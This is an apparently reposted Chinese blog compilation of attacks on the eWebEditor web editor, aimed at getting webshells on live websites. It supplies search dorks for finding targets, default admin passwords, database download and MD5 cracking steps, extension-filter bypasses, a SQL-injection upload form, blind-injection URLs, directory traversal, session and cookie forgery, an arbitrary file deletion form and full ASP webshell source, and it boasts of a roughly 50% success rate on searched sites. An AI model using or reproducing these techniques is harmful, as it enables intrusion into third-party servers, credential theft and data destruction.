• Ewebeditor最新漏洞及漏洞大全


    Ewebeditor最新漏洞及漏洞大全[收集]

    来源:转载作者:佚名时间:2009-06-03 00:04:26

    下面文章收集转载于网络:) 算是比較全面的ewebeditor编辑器的漏洞收集,如今的站点大多数用的都是ewebeditor编辑器,

    所以ewebeditor漏洞的危害性还是相当大的,做了一下漏洞收集,漏洞修补的方法可去网上查找。

    漏洞更新日期TM 2009 2 9转自zake’S Blog
            ewebeditor
    最新漏洞。这个程序爆漏洞一般都是直接上传的漏洞,首先在本地搭建一个ASP环境重命名一个木马名字比如:1.gif.asp这种就OK
    那么接下来完美本地搭建一个环境你能够用WEB小工具搭建一个,目的就是让远程上传。http://127.0.0.1/1.gif.asp搭建好了,在官方的地方运行网络地址然后确定以后,

     这里是最关键的一部!


     这里点了远程上传以后,再提交得到木马地址

    因为官方在图片文件夹做了限制导致不能运行ASP脚本而没能拿到WEB权限。
    属于安全检測漏洞版本号ewebeditor v6.0.0

    曾经的ewebeditor漏洞:

    ewebeditor注入漏洞

    大家都知道ewebeditor编辑器默认的数据库路径db/ewebeditor.mdb
    默认后台地址是admin_login.asp,另外存在遍历文件夹漏洞,假设是asp后缀的数据库还能够写入一句话
    今天我给大家带来的也是ewebeditor编辑器的入侵方法
    只是一种是注入,一种是利用upload.asp文件,本地构造
    NO1
    :注入
    http://www.XXX.com/ewebeditor2007/ewebeditor.asp?id=article_content
    &style=full_v200
    编辑器ewebedior7曾经版本号通通存在注入
    直接检測不行的,要写入特征字符
    我们的工具是不知道ewebeditor的表名的还有列名
    我们自己去看看
    哎。。先表吧
    要先加入进库
    開始猜账号password了
    我们==
    心急的往后拉
    出来了
    [sys_username]:bfb18022a99849f5 chaoup[sys_userpass]:0ed08394302f7d5d 851120
    对吧^_^
    后面不说了
    NO2
    :利用upload.asp文件,本地构造上传shell
    大家看这里
    http://www.siqinci.com/ewebeditor2007/admin_style.asp?action=stylepreview
    &id=37
    假设遇见这种情况又无法加入工具栏是不是非常郁闷
    如今不郁闷了,^_^源源不一般
    我们记录下他的样式名“aaa”
    我已经吧upload.asp文件拿出来了
    我们构造下
    OK
    ,我之前已经构造好了
    事实上就是这里
    <form action=”
    地址/path/upload.asp?action=save&type=&style=样式名” method=post name=myformenctype=”multipart/form-data”>
    <input type=file name=uploadfile size=1 style=”100%”>
    <input type=submit value=”
    上传了”></input>
    </form>
    以下我们执行他上传个大马算了
    UploadFile
    上传进去的在这个文件夹下
    2008102018020762.asa

    过往漏洞:

    首先介绍编辑器的一些默认特征:
    默认登陆admin_login.asp
    默认数据库db/ewebeditor.mdb
    默认帐号admin passwordadminadmin888
    搜索keyword:”inurl:ewebeditor”keyword十分重要
    有人搜索”eWebEditor -eWebSoft在线编辑器
    根本搜索不到几个~
    baidu.google
    搜索inurl:ewebeditor
    几万的站起码有几千个是具有默认特征的~
    那么试一下默认后台
    http://www.xxx.com.cn/admin/ewebeditor/admin_login.asp

    试默认帐号password登陆。
    利用eWebEditor获得WebShell的步骤大致例如以下:
    1
    .确定站点使用了eWebEditor。一般来说,我们仅仅要注意发表帖子(文章)的页面是否有类似做了记号的图标,就能够大致做出推断了。
    2
    .查看源码,找到eWebEditor的路径。点击查看源码,看看源码中是否存在类似“<iframe ID=’eWebEditor1′ src=’/edit/ewebeditor.asp?id=content&style=web’frameborder=0 scrolling=no width=’550′ HEIGHT=’350′></iframe>”的语句。事实上仅仅有发现了存在这种语句了,才干够真正确定这个站点使用了eWebEditor。然后记下src=’***’中的“***”,这就是eWebEditor路径。
    3
    .訪问eWebEditor的管理登录页面。eWebEditor的默认管理页面为admin_login.asp,和ewebeditor.asp在同一文件夹下。以上面的路径为例,我们訪问的地址为:http://www.***.net/edit/admin_login.asp,看看是否出现了登录页面。
    假设没有看到这种页面,说明管理员已经删除了管理登录页面,呵呵,还等什么,走人啊,换个地方试试。只是一般来说,我非常少看到有哪个管理员删了这个页面,试试默认的username:admin,password:admin888。怎么样?成功了吧(不是默认账户请看后文)!
    4
    .添加上传文件类型。点击样式管理,随便选择列表中底下的某一个样式的设置,为什么要选择列表中底下的样式?由于eWebEditor自带的样式是不同意改动的,当然你也能够拷贝一个新的样式来设置。
    然后在上传的文件类型中添加“asa”类型。
    5
    .上传ASP木马,获得WebShell。接下来将ASP木马的扩展名改动为asa,就能够简单上传你的ASP木马了。不要问我怎么上传啊,看到预览 了吗?点击预览,然后选择插入其他文件的button就能够了。
    漏洞原理
    漏洞的利用原理非常easy,请看Upload.asp文件:
    不论什么情况下都不同意上传asp脚本文件
    sAllowExt = Replace(UCase(sAllowExt), “ASP”, “”)
    由于eWebEditor只过滤了ASP文件。记得我第一次使用eWebEditor时就在纳闷:既然作者已经知道asp文件须要过滤,为什么不同一时候过滤asacer等文件呢?或许这就是对免费用户不负责任的表现吧!
    高级应用
    eWebEditor
    的漏洞利用另一些技巧:
    1
    .使用默认username和password无法登录。
    请试试直接下载db文件夹下的ewebeditor.mdb文件,username和password在eWebEditor_System表中,经过了md5加密,假设无法下载或者无法破解,那就当自己的运气不好了。
    2
    .加了asa类型后发现还是无法上传。
    应该是站长懂点代码,自己改动了Upload.asp文件,可是没有关系,依照常人的思维习惯,往往会直接在sAllowExt = Replace(UCase(sAllowExt),“ASP”, “”)一句上改动,我就看见过一个站长是这样改动的:
    sAllowExt = Replace(Replace(Replace(Replace(Replace(UCase(sAllowExt), “ASP”,“”), “CER”, “”), “ASA”, “”), “CDX”, “”), “HTR”, “”)
    猛一看什么都过滤了,可是我们仅仅要在上传类型中添加“aaspsp”,就能够直接上传asp文件了。呵呵,是不是天才的想法?“aaspsp”过滤了“asp”字符后,反而变成了“asp”!顺便告诉大家一个秘密,事实上动网论坛7.0 sp2中也能够利用类似的方法绕过对扩展名的过滤。
    3
    .上传了asp文件后,却发现该文件夹没有执行脚本的权限。
    呵呵,真是好笨啊,上传类型能够改,上传路径不是也能够改动的吗?细致看看图四。
    4
    .已经使用了第2点中的方法,可是asp类型还是无法上传。
    看来站长肯定是一个写asp的高手,可是我们还有最后一招来对付他:看到图三中的远程类型了吗?eWebEditor可以设定自己主动保存远程文件的类型,我们可以增加asp类型。可是怎样才干让远程訪问的asp文件可以以源代码形式保存呢?方法是非常多的,最简单的方法是将IIS中的应用文件映射中的“asp”删除。
    后记
    依据自己的经验,差点儿仅仅要能进入eWebEditor的后台管理,基本上都可以获得WebShell。在Google上搜索“ewebeditor.asp?id=”可以看到长达十多页的相关信息,我大致抽查了当中几个,发现成功率约为50%。还不错吧?oblg 2.52版曾经的版本号也是使用eWebEditor,能够去搜索几个来练练手。要命的是eWebEditor的官方站点和帮助文件里根本没有这方面的安全提示。还有,我发现官方提供的測试系统并不存在类似的漏洞,看来不是他们不知道,而是没有把免费用户的网络安危放在心上!

     

     

     

     

    eWebEditor=>2.8 商业版后台一句话木马利用

    登陆后台,点击改动password---新password设置为 1":evalrequest("a")

    设置成功后,訪问asp/config.asp文件就可以,一句话木马被写入到这个文件中面了.  

     

     

     

     

    ewebeditor漏洞利用总结

         先从最主要的记录起!通常入侵ewebeditor编辑器的过程例如以下:

    1、首先訪问默认管理页看是否存在。

           默认管理页地址2.80曾经为 ewebeditor/admin_login.asp 以后版本号为admin/login.asp (各种语言的大家自己改后缀,本文就以asp来进行说明,以下不再细说了!)

    2、默认管理帐号password!

           默认管理页存在!我们就用帐号password登陆!默认帐号password为: admin admin888 !经常使用的password还有admin admin999 admin1 admin000 之类的。

    3、默认数据库地址。

           假设password不是默认的。我们就訪问是不是默认数据库!尝试下载数据库得到管理员password!管理员的帐号password,都在eWebEditor_System表段里,sys_UserName Sys_UserPass 都是md5加密的。得到了加密password。能够去www.cmd5.com www.xmd5.org 等站点进行查询!暴力这活好久不干了!也能够丢国外一些能够跑password的站点去跑!

           默认数据库路径为:ewebeditor/db/ewebeditor.mdb 经常使用数据库路径为:ewebeditor/db/ewebeditor.asa ewebeditor/db/ewebeditor.aspewebeditor/db/#ewebeditor.asa ewebeditor/db/#ewebeditor.mdbewebeditor/db/!@#ewebeditor.asp ewebeditor/db/ewebeditor1033.mdb

           非常多管理员常改.asp后缀,一般訪问.asp .asa 后缀的都是乱码!能够用下载工具下载下来,然后更改后缀为.mdb 来查看内容!

    4、说说漏洞基本利用步骤,还以asp为例!

           登陆后台以后。选择样式管理,默认编辑器的默认样式都不能够改动的。我们能够从随意样式新建一个样式,然后在图片上传加入可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。可是我们能够用.asaspp后缀来加入,这样上传文件正好被ewebeditor 吃掉asp后缀,剩下.asp 呵呵!代码不具体说了。总之是个非常可笑的过滤!相同,假设遇到一个管理员有安全意识的,从代码里,把.asp .asa .cer .cdx 都全然禁止了,我们也能够用.asasaa 后缀来突破。加入完了后缀,能够在样式管理,点击预览,然后上传!

    5、默认管理页不存在!

           在实际入侵过程中,有非常多默认的管理页不存在的时候。我们能够直接訪问样式管理页面 ewebeditor/admin_style.asp 然后用第4步的方式拿webshell。假设样式管理页也不存在的话,我们能够看数据库内的样式表(ewebeditor_style)里面有没有比我们先进去的朋友留下的样式。然后构造上传!详细url例如以下:eWebEditor/ewebeditor.asp?id=content&style=www 红色部分是我们发现被改动加入了asa后缀的样式名,大家自行改动!

    6ewebeditor的几个版本号存在注入!

           ewebeditor 曾经版本号都存在注入 ewebeditor/ewebeditor.asp?id=article_content&style=Full_v200 !

    加入验证字符串,和管理员字段能够跑出管理员的md5加密password!

          ewebeditor v2.1.6存在注入,能够用union select 加入上传后缀进行上传!先贴漏洞利用方式!

    --------------------------------------------------------------------------------------------------------------

    <H3>ewebeditor asp 2.1.6上传漏洞利用程序----</H3><br><br>

    <form action="http://www.xxx.com/ewebeditor/upload.asp?action=save&type=IMAGE&style=standard'unionselectS_ID,S_Name,S_Dir,S_CSS,S_UploadDir,S_Width,S_Height,S_Memo,S_IsSys,S_FileExt,S_FlashExt,[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrlfrom ewebeditor_style where s_name='standard'and'a'='a" method=postname=myform enctype="multipart/form-data">

    <input type=file name=uploadfilesize=100><br><br>

    <input type=submit value=Fuck>

    </form>

    --------------------------------------------------------------------------------------------------------------

           以上代码令存为html!改动红色部分的路径,然后自己主动上传 .cer 文件!漏洞原因是由于sStyleName变量直接从style中读取,并没有过滤,所以能够包括随意字符!用selectewebeditor_style表中查找s_namesStyleName的记录,找不到就提示出错!在sStyleName变量中用union来构造记录,我们能够在sAllowExt中增加"|cer""|asa"等!

           另外另一些版本号的ewebeditorupload.asp文件存在注入漏洞!贴几个注入用的url!信息错误则返回脚本出错的提示,在浏览器左下角!详细利用例如以下:

    ewebeditor/Upload.asp?type=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20and%20'1'='1

    注意改动红色部分的字段名、位数、ascii码的值!

    7、文件夹遍历漏洞!

           这里大概说一下!文件夹遍历漏洞基本存在于ewebeditor/admin_uploadfile.asp 高版本号的是ewebeditor/admin/upload.asp 文件!这个文件有的不须要登陆验证,有些须要!非常多有经验的管理员会把编辑器的文件夹设置为仅仅读权限,不可改动!这样的情况下,唯一能够利用的也就是利用遍历文件夹功能查看站点文件,比方数据库路径、后台地址、其它的上传地址、最直观的就是别人留下的小马等等!这些都自由发挥了!说下漏洞利用方法!

           漏洞利用方式例如以下:在上传文件管理页面随便选择一个上传样式!比方ewebeditor/admin_uploadfile.asp?id=14 id后面加入&dir=../..

    类似例如以下:webeditor/admin_uploadfile.asp?id=14&dir=../../../../data/能够看到站点数据库的路径!

          另外一个遍历文件夹的漏洞文件是ewebeditor/asp/browse.asp

    漏洞代码为:

    Function GetList()

    Dim s_List, s_Url

    s_List = ""

    Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName

    'Response.Write sCurrDir

    'On Error Resume Next

    Set oFSO =Server.CreateObject("Scripting.FileSystemObject")

    Set oUploadFolder =oFSO.GetFolder(Server.MapPath(sCurrDir))

    '注意一下sCurrDir变量,这个值等下我们能够用到

    If Err.Number>0 Then

    s_List = ""

    Exit Function

    End If

     

    If sDir <> "" Then

    If InstrRev(sDir, "/") > 1Then

    s_Url= Left(sDir, InstrRev(sDir,"/") - 1)

    Else

    s_Url = ""

    End If

     

    s_List = s_List & "" & _

    "" & _

    ".." & _

    " " & _

    ""

    End If

    'Response.WritesDir&"!"&s_List

     

    Dim oSubFolder

    For Each oSubFolder InoUploadFolder.SubFolders

    'Response.Write oUploadFolder.SubFolders

    If sDir = "" Then

    s_Url = oSubFolder.Name

    Else

    s_Url = sDir & "/" &oSubFolder.Name

    End If

    s_List = s_List & "" & _

    "" & _

    "" & oSubFolder.Name &"" & _

    " " & _

    ""

    Next

    'Response.Write s_List

     

    Set oUploadFiles = oUploadFolder.Files

     

    For Each oUploadFile In oUploadFiles

    'Response.Write oUploadFile.Name

    sFileName = oUploadFile.Name

    If CheckValidExt(sFileName) = True Then

    '这行让人有点郁闷,检測了全部同意的文件后缀,如不同意就无法列出,不然就不仅仅列出文件夹名和图片文件了

    If sDir = "" Then

    s_Url = sContentPath & sFileName

    Else

    s_Url = sContentPath & sDir &"/" & sFileName

    End If

     

    s_List = s_List & "" & _

    "" & FileName2Pic(sFileName)& "" & _

    "" & sFileName &"" & _

    "" &GetSizeUnit(oUploadFile.size) & "" & _

    ""

    End If

    Next

    Set oUploadFolder = Nothing

    Set oUploadFiles = Nothing

    'Response.Write Server.HTMLEncode(s_List)&"!"&s_Url

     

    If sDir = "" Then

    s_Url = ""

    's_Url = "/"

    Else

    s_Url = "/" & sDir &""

    's_Url = "/" & sDir &"/"

    End If

     

    s_List = s_List & ""

    s_List = HTML2JS(s_List)

    'Response.WriteServer.HTMLEncode(s_List)&"!"&s_Url

    s_List = "parent.setDirList("""& s_List & """, """ & s_Url &""")"

    GetList = s_List

    End Function

    '假设没有以下这步检測的话,应该就能够列出文件夹中全部的文件了,有点郁闷..如今仅仅能列出同意后缀的文件和文件夹名

    Function CheckValidExt(s_FileName)

    If sAllowExt = "" Then

    CheckValidExt = True

    Exit Function

    End If

     

    Dim i, aExt, sExt

    sExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))

    CheckValidExt = False

    aExt = Split(LCase(sAllowExt), "|")

    For i = 0 To UBound(aExt)

    If aExt(i) = sExt Then

    CheckValidExt = True

    Exit Function

    End If

    Next

    End Function

    '我们顺着代码往下找,发现sCurrDir的值是通过以下的值得到的

    Sub InitParam()

    sType =UCase(Trim(Request.QueryString("type")))

    sStyleName =Trim(Request.QueryString("style"))

     

    Dim i, aStyleConfig, bValidStyle

    bValidStyle = False

    For i = 1 To Ubound(aStyle)

    aStyleConfig = Split(aStyle(i),"|||")

    If Lcase(sStyleName) =Lcase(aStyleConfig(0)) Then

    bValidStyle = True

    Exit For

    End If

    Next

     

    If bValidStyle = False Then

    OutScript("alert('InvalidStyle.')")

    End If

     

    sBaseUrl = aStyleConfig(19)

    'nAllowBrowse = CLng(aStyleConfig(43))

    nAllowBrowse = 1

     

    If nAllowBrowse <> 1 Then

    OutScript("alert('Do not allowbrowse!')")

    End If

     

    sUploadDir = aStyleConfig(3)

    If Left(sUploadDir, 1) <>"/" Then

    Select Case sType

    Case "REMOTE"

    sUploadDir = "../../" &sUploadDir & "Image/"

    Case "FILE"

    sUploadDir = "../../" &sUploadDir & "Other/"

    Case "MEDIA"

    sUploadDir = "../../" &sUploadDir & "Media/"

    Case "FLASH"

    sUploadDir = "../../" &sUploadDir & "Flash/"

    Case Else

    sUploadDir = "../../" &sUploadDir & "Image/"

    End Select

    End If

    'sUploadDir =sUploadDir &"/"

     

    Select Case sBaseUrl

    Case "0"

    'sContentPath = aStyleConfig(23)

    Select Case sType

    Case "REMOTE"

    sContentPath = "../" &aStyleConfig(3) & "Image/"

    Case "FILE"

    sContentPath = "../" &aStyleConfig(3) & "Other/"

    Case "MEDIA"

    sContentPath = "../" &aStyleConfig(3) & "Media/"

    Case "FLASH"

    sContentPath = "../" &aStyleConfig(3) & "Flash/"

    Case Else

    sContentPath = "../" &aStyleConfig(3) & "Image/"

    End Select

    Case "1"

    sContentPath =RelativePath2RootPath(sUploadDir)

    Case "2"

    sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))

    End Select

     

    Select Case sType

    Case "REMOTE"

    sAllowExt = aStyleConfig(10)

    Case "FILE"

    sAllowExt = aStyleConfig(6)

    Case "MEDIA"

    sAllowExt = aStyleConfig(9)

    Case "FLASH"

    sAllowExt = aStyleConfig(7)

    Case Else

    sAllowExt = aStyleConfig(8)

    End Select

     

    sCurrDir = sUploadDir '注意这里,这个是得到了配置的路径地址

    sDir = Trim(Request("dir")) '得到dir变量

    sDir = Replace(sDir, "","/") 'dir变量进行过滤

    sDir = Replace(sDir, "../","")

    sDir = Replace(sDir, "./","")

    If sDir <> "" Then

    If CheckValidDir(Server.Mappath(sUploadDir& sDir)) = True Then

    sCurrDir = sUploadDir & sDir &"/"

    '重点就在这里了,看到没有,sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了

    '尽管上面对sDir进行了过滤,只是我们全然能够跳过.详细利用以下的利用中给出

    Else

    sDir = ""

    End If

    End If

    End Sub

    利用方式例如以下:

    http://site/ewebeditor/asp/browse.asp?style=standard650&dir=…././/…././/admin

    这样子就能够看到admin的内容了。构造特殊的dir绕过上面的验证!页面空白的时候查看源码,就能够看到文件夹列表了!

    8session欺骗漏洞!

           适用于一些设置不当的虚拟主机。当旁注得到一个webshell,而目标站存在ewebeditor却不能找到password的时候能够尝试欺骗进入后台!顺序例如以下:

             新建一个.asp文件,内容例如以下:<%Session("eWebEditor_User") = "123132323"%> 然后訪问这个文件,再訪问ewebeditor/admin_default.asp!欺骗进入后台!只是非常老了!

    9、后台跳过认证漏洞!

           訪问后台登陆页面!随便输入帐号password,返回错误!然后清空浏览器,在地址栏输入

    javascript:alert(document.cookie="adminuser="+escape("admin"));

    javascript:alert(document.cookie="adminpass="+escape("admin"));

    javascript:alert(document.cookie="admindj="+escape("1"));

            然后再清空地址栏,在路径里输入后台登陆后的页面,比方: admin_default.asp admin/default.asp 等。直接进入后台,利用方式见上文!

    10、利用远程上传功能!

           比方s_full样式就存在这个功能,打开编辑页面,然后图片,选择输入url 比方:http://site.com/1.gif.asp ! 然后选择上传远程文件!自己主动就把1.gif.asp 保存在上传文件夹内!注:网上的东西大部分传来传去,这个办法愚弄自己还成!文件的确显示后缀为.asp可是不能訪问,由于收集过来的时候自己主动截止在1.gif了所以后面的.asp等于没有!并且gif的内容就是我们这个url的路径!呵呵,后来又看到一个利用方式!是利用远程搜集的时候运行,我们文件的代码生成另外的小马!

           利用代码例如以下:

    首先建立1.gif.asp 代码例如以下

    <%

    Set fs =CreateObject("Scripting.FileSystemObject")

    SetMyTextStream=fs.OpenTextFile(server.MapPath("akteam.asp"),1,false,0)

    Thetext=MyTextStream.ReadAll

    response.write thetext

    %>

    在我们的1.gif.asp的同文件夹下建立一个akteam.asp文件,内容就是我们的小马:

    <%on error resume next%>

    <%ofso="scripting.filesystemobject"%>

    <%set fso=server.createobject(ofso)%>

    <%path=request("path")%>

    <%if path<>"" then%>

    <%data=request("dama")%>

    <%setdama=fso.createtextfile(path,true)%>

    <%dama.write data%>

    <%if err=0 then%>

    <%="success"%>

    <%else%>

    <%="false"%>

    <%end if%>

    <%err.clear%>

    <%end if%>

    <%dama.close%>

    <%set dama=nothing%>

    <%set fos=nothing%>

    <%="<form action=''method=post>"%>

    <%="<input type=textname=path>"%>

    <%="<br>"%>

    <%=server.mappath(request.servervariables("script_name"))%>

    <%="<br>"%>

    <%=""%>

    <%="<textarea name=dama cols=50rows=10 width=30></textarea>"%>

    <%="<br>"%>

    <%="<input type=submitvalue=save>"%>

    <%="</form>"%>

    利用上面说的远程上传的方式!能够得到webshell!成功率取决于,虚拟主机的安全设置!

    11、随意文件删除漏洞!

           此漏洞存在于ExampleNewsSystem文件夹下的delete.asp文件里,这是ewebeditor的測试页面,无须登陆能够直接进入!看代码

    ' 把带"|"的字符串转为数组

    Dim aSavePathFileName

    aSavePathFileName = Split(sSavePathFileName, "|")

    ' 删除新闻相关的文件,从目录中

    Dim i

    For i = 0 To UBound(aSavePathFileName)

    ' 按路径文件名称删除文件

    Call DoDelFile(aSavePathFileName(i))

    Next

    aSavePathFileName是前面从数据库取出来的:

    sSavePathFileName =oRs("D_SavePathFileName")

    看看D_SavePathFileName是怎么加入到数据库里的,在addsave.asp(modifysave.asp)里:sSavePathFileName =GetSafeStr(Request.Form("d_savepathfilename"))

    ...

    oRs("D_SavePathFileName") =sSavePathFileName

     

    竟然过滤了,是GetSafeStr函数,再看看这个函数,在Startup.asp里:

    Function GetSafeStr(str)

    GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")

    End Function

           既然路径没有过滤,那就能够直接定义了,构造一个提交页面,当中d_savepathfilename自己随意赋值(要删除多个文件,用|隔开就可以)。试试../../eWebEditor.asp,提交后删除该新闻,于是主文件夹下的eWebEditor.asp不见了!漏洞利用:

    <HTML><HEAD><TITLE>eWebEditor删除文件 byldjun(>

    新闻列表%20|%20添加新闻

    添加新闻

    http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

    method="post"name="myform">

       <input type=hidden name=d_originalfilename>

       <input type=hidden name=d_savefilename>

       <table cellspacing=3 align=center>

    <tr><td>要删的文件(相对路径就能够了)</td>

    <td><input type="text"name="d_savepathfilename" value=""size="90"></td>

    </tr>

    <tr><td>新闻标题(随便填)</td>

    <td><input type="text"name="d_title" value="" size="90"></td>

    </tr>

    <tr><td>标题图片:</td>

    <td><selectname="d_picture" size=1><option value=''></option></select>

    当编辑区有插入图片时,将自己主动填充此下拉框</td>

    </tr>

    <tr><td>新闻内容(随便填)</td>

    <td><textareaname="d_content"></textarea></td>

    </tr>

    </table>

    <input type=submit name=btnSubmitvalue=" 提交 ">

    <input type=reset name=btnResetvalue=" 重填 ">

    </form>

    </BODY></HTML>

    删除文件漏洞通常是配合其它漏洞使用的,比方文件夹遍历

    <a href='list.asp'>中的list.asp地址要改动

    <a href='add.asp'>中的add.asp地址要改动

    <formaction="http://127.0.0.1/editor/Example/NewsSystem/addsave.asp"

    (http://127.0.0.1/editor/Example/NewsSystem/addsave.asp地址要改动)

           另外一个简单利用方式:

    <formaction="http://www.xxxbing.com/editor/example/newssystem/addsave.asp"method="post">

    <input type=hiddenname=d_originalfilename value="x">

    <input type=hidden name=d_savefilenamevalue="x">

    要删除的文件(相对路径,多个文件用“|”隔开)<br>

    <input type=textname=d_savepathfilename>

    <input type=hiddenname="d_title" value="x">

    <input type=hiddenname="d_picture" value="x">

    <textareaname="d_content">x</textarea>

    <input type=submit name=btnSubmitvalue="submit">

    </form>

     

    然后得到返回的新闻ID再提交:http://www.XXXXX.com/editor/example/newssystem/delete.asp?id=[id]

           有几个版本号的ewebeditor上传类型是在security.asp 文件控制的!直接删除该文件能够上传随意webshell

    12、其它!

           其它说点什么呢!以上的办法都是本人经验和网上搜集!临时就想到这些了,以后想到了再补全!说说aspxphp jsp版本号的利用吧!

    ASPX版:

    受影响文件:eWebEditorNet/upload.aspx

    利用方法:添好本地的cerShell文件。在浏览器地址栏输入javascript:lbtnUpload.click();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX文件....文件默认的上传后保存的地址是eWebEditorNet/UploadFile/如今来看看是否上传成功.....

    PHP版本号:PhP版本号和asp版本号利用方式类似!只是php权限较高,不多废话了!

    jsp版本号:网上有非常多jsp的版本号,根本没有对上传文件类型进行检測!须要注意的是jsp版本号的没有上传button!直接选择文件,回车就能够提交了!

     

     

    安脚本分主要有4个版本号,ASP/ASPX/PHP/JSP 每一个版本号都有能够利用的漏洞。

     

    安全漏洞

    管理员未对编辑器的数据库路径和名称进行改动,导致能够利用编辑器默认路径直接对站点数据库进行下载。

    管理员未对编辑器的用户登录路径进行改动,导致黑客能够利用站点数据库所获得的username和password直接登陆编辑器管理后台。

     

    ASP

    重要文件的名称和路径

    Admin_login.asp

    Admin_default.asp

    Admin_style.asp

    Admin_uploadfile.asp

    Upload.asp

    Admin_modipwd.asp

    eWebEditor.asp

    db/ewebeditor.mdb

     

    一般用这个的默认后台的URL都是默认的

    www.***.com/admin/ewebeditor/login_admin.asp

    www.***.com/ewebeditor/login_admin.asp

    www.***.com/admin/eweb/login_admin.asp

    www.***.com/admin/editor/login_admin.asp

     

    下载数据库

    还有假设默认的账户和password改动了,我们能够下载他们的数据库,然后本地破解MD5

    默认数据库…/db/ewebeditor.mdb  或者。../db/ewebeditor.asp

     

    登录后台后,点击样式管理,随便选择一个样式,自带的样式不能改动的。

    拷贝一个样式,在其他类型中添加,asa类型,接下来把免杀的asp木马的后缀名改成asa,返回管理首页,点击预览,然后选择插入其他文件的button进行asp木马的上传,上传的ASP木马就在,UploadFILE目录里。

     

    假设加了asa类型后发现还是无法上传。应该是站长懂点代码,自己改动了Upload.asp文件,可是没有关系,依照常人的思维习惯,往往直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)一句上改动。

    可是我们仅仅要在上传类型中添加“aaspsp,就能够传asp文件了,

    假设上述两种方法都失败了,则利用eWebEditor可以设定自己主动保存远程文件的类型,我们可以增加asp类型。可是怎样才干让远程訪问的asp文件可以以源代码形式保存呢?方法是非常多的,最简单的方法是将IIS中的应用文件映射中的ASP删除。

    有的站数据库设置了仅仅读属性,这种站你是无法新加样式的,这种站你能够看他数据库里的样式设置情况,一般非常多时候都是让人给拿过的,并且明显的asa在那里。这种话就能够直接构造一个调用这个样式的连接来上传shell.

    比方发现数据库里有样式123他设置的是能够上传asa的话,那么就能够这样调用:http://www.***.com/eweb/ewebeditor.asp?id=contentCN&style=123

    这样就能够直接上传了,然后在点编辑就会找到shell的路径了。事实上这个漏洞主要是upload.asp的过滤不严造成的,新版的应该都修复了,详细爱影响的版本号我也没统计过。

    遍历路径

    Ewebeditor遍历路径漏洞,当数据库仅仅读的时候,ewebeditor/admin_uploadfile.asp?id=14id=14后面加入&dir=再加&dir=/&dir=http://www.****.com// 看到整个站点文件了,只是此项測试的时候发现,仅仅有登录成功才干进行操作。

    Cookie漏洞

    漏洞文件:admin_private.asp

    漏洞语句:

    <% if session (“eWebEditor_User”) = “”Then

    Response.Redirect “admin_login.asp”

    Response.End

    End If

    仅仅推断了session,没有推断cookies和路径的验证问题。

    漏洞利用:

    新建一个mrchen.asp内容例如以下:

    <%Session (“eWebEditor_User”) =”11111111”%>

    訪问mrchen.asp,再訪问后台不论什么文件,forexample:Admin_Default.asp这个拿shell的方法就简单了。

  • 相关阅读:
    五种排序算法
    call,apply,bind实现
    js面试题
    Date日期方法
    操作符
    var、let和const
    script标签属性
    HbuilderX如何让项目运行到微信开发者工具
    vite搭建vue3项目
    瀑布流实例及懒加载(echo.js)
  • 原文地址:https://www.cnblogs.com/mengfanrong/p/4506577.html
Copyright © 2020-2023  润新知